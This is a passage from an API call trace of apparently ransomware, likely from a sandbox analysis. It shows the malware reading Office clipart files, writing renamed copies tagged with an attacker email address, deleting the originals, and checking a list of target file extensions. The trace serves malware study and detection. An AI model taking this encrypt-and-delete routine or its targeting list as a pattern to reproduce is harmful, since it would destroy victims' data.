Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.808] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.808] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.808] GetLastError () returned 0x0 [0273.808] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xeb4, lpOverlapped=0x0) returned 1 [0273.810] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec0, lpOverlapped=0x0) returned 1 [0273.811] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.811] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.811] SetEndOfFile (hFile=0x39c) returned 1 [0273.811] CloseHandle (hObject=0x39c) returned 1 [0273.811] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.811] SetEndOfFile (hFile=0x38c) returned 1 [0274.120] CloseHandle (hObject=0x38c) returned 1 [0274.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0274.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.121] lstrlenW (lpString=".doc") returned 4 [0274.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString=".docx") returned 5 [0274.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.121] lstrlenW (lpString=".pdf") returned 4 [0274.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString=".xls") returned 4 [0274.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.121] lstrlenW (lpString=".xlsx") returned 5 [0274.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.121] lstrlenW (lpString=".ppt") returned 4 [0274.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.121] lstrlenW (lpString=".zip") returned 4 [0274.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.121] lstrlenW (lpString=".rar") returned 4 [0274.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString=".bz2") returned 4 [0274.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString=".7z") returned 3 [0274.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.121] lstrlenW (lpString=".dbf") returned 4 [0274.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.121] lstrlenW (lpString=".1cd") returned 4 [0274.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.121] lstrlenW (lpString=".jpg") returned 4 [0274.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString=".doc") returned 4 [0274.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString=".docx") returned 5 [0274.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.122] lstrlenW (lpString=".pdf") returned 4 [0274.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString=".xls") returned 4 [0274.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.122] lstrlenW (lpString=".xlsx") returned 5 [0274.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.122] lstrlenW (lpString=".ppt") returned 4 [0274.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString=".zip") returned 4 [0274.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.122] lstrlenW (lpString=".rar") returned 4 [0274.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString=".bz2") returned 4 [0274.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString=".7z") returned 3 [0274.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString=".dbf") returned 4 [0274.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString=".1cd") returned 4 [0274.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0274.122] lstrlenW (lpString=".jpg") returned 4 [0274.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.123] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.123] lstrlenW (lpString="HH00513_.WMF") returned 12 [0274.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.245] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=818) returned 1 [0274.245] CloseHandle (hObject=0x390) returned 1 [0274.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0274.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.250] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.250] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.251] GetLastError () returned 0x0 [0274.251] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x332, lpOverlapped=0x0) returned 1 [0274.256] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x340, lpOverlapped=0x0) returned 1 [0274.256] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.256] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.257] SetEndOfFile (hFile=0x390) returned 1 [0274.257] CloseHandle (hObject=0x390) returned 1 [0274.257] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.257] SetEndOfFile (hFile=0x2e4) returned 1 [0274.258] CloseHandle (hObject=0x2e4) returned 1 [0274.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0274.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.262] lstrlenW (lpString=".doc") returned 4 [0274.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.262] lstrlenW (lpString=".docx") returned 5 [0274.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.262] lstrlenW (lpString=".pdf") returned 4 [0274.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.262] lstrlenW (lpString=".xls") returned 4 [0274.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.262] lstrlenW (lpString=".xlsx") returned 5 [0274.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.262] lstrlenW (lpString=".ppt") returned 4 [0274.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.262] lstrlenW (lpString=".zip") returned 4 [0274.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.262] lstrlenW (lpString=".rar") returned 4 [0274.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString=".bz2") returned 4 [0274.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString=".7z") returned 3 [0274.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.263] lstrlenW (lpString=".dbf") returned 4 [0274.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.263] lstrlenW (lpString=".1cd") returned 4 [0274.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.263] lstrlenW (lpString=".jpg") returned 4 [0274.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.263] lstrlenW (lpString=".doc") returned 4 [0274.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.263] lstrlenW (lpString=".docx") returned 5 [0274.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.263] lstrlenW (lpString=".pdf") returned 4 [0274.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString=".xls") returned 4 [0274.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.264] lstrlenW (lpString=".xlsx") returned 5 [0274.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.264] lstrlenW (lpString=".ppt") returned 4 [0274.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.264] lstrlenW (lpString=".zip") returned 4 [0274.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.264] lstrlenW (lpString=".rar") returned 4 [0274.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString=".bz2") returned 4 [0274.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString=".7z") returned 3 [0274.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.264] lstrlenW (lpString=".dbf") returned 4 [0274.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.264] lstrlenW (lpString=".1cd") returned 4 [0274.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0274.264] lstrlenW (lpString=".jpg") returned 4 [0274.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.264] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.264] lstrlenW (lpString="HH00526_.WMF") returned 12 [0274.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.265] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=13538) returned 1 [0274.265] CloseHandle (hObject=0x2e4) returned 1 [0274.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0274.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.265] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.265] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.266] GetLastError () returned 0x0 [0274.266] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x34e2, lpOverlapped=0x0) returned 1 [0274.276] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0274.277] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.277] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.277] SetEndOfFile (hFile=0x390) returned 1 [0274.277] CloseHandle (hObject=0x390) returned 1 [0274.277] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.277] SetEndOfFile (hFile=0x2e4) returned 1 [0274.279] CloseHandle (hObject=0x2e4) returned 1 [0274.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.280] lstrlenW (lpString=".doc") returned 4 [0274.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.280] lstrlenW (lpString=".docx") returned 5 [0274.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.280] lstrlenW (lpString=".pdf") returned 4 [0274.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.280] lstrlenW (lpString=".xls") returned 4 [0274.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.280] lstrlenW (lpString=".xlsx") returned 5 [0274.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.280] lstrlenW (lpString=".ppt") returned 4 [0274.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.280] lstrlenW (lpString=".zip") returned 4 [0274.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.280] lstrlenW (lpString=".rar") returned 4 [0274.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.280] lstrlenW (lpString=".bz2") returned 4 [0274.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.280] lstrlenW (lpString=".7z") returned 3 [0274.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString=".dbf") returned 4 [0274.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString=".1cd") returned 4 [0274.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString=".jpg") returned 4 [0274.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString=".doc") returned 4 [0274.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString=".docx") returned 5 [0274.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.281] lstrlenW (lpString=".pdf") returned 4 [0274.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString=".xls") returned 4 [0274.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.281] lstrlenW (lpString=".xlsx") returned 5 [0274.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.281] lstrlenW (lpString=".ppt") returned 4 [0274.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.281] lstrlenW (lpString=".zip") returned 4 [0274.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.281] lstrlenW (lpString=".rar") returned 4 [0274.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.282] lstrlenW (lpString=".bz2") returned 4 [0274.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.282] lstrlenW (lpString=".7z") returned 3 [0274.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.282] lstrlenW (lpString=".dbf") returned 4 [0274.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.282] lstrlenW (lpString=".1cd") returned 4 [0274.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0274.282] lstrlenW (lpString=".jpg") returned 4 [0274.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.282] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.282] lstrlenW (lpString="HH00527_.WMF") returned 12 [0274.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.288] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=5798) returned 1 [0274.288] CloseHandle (hObject=0x2f0) returned 1 [0274.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0274.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.288] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.288] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.288] CreateFileW (lpFileName="C:\\Program 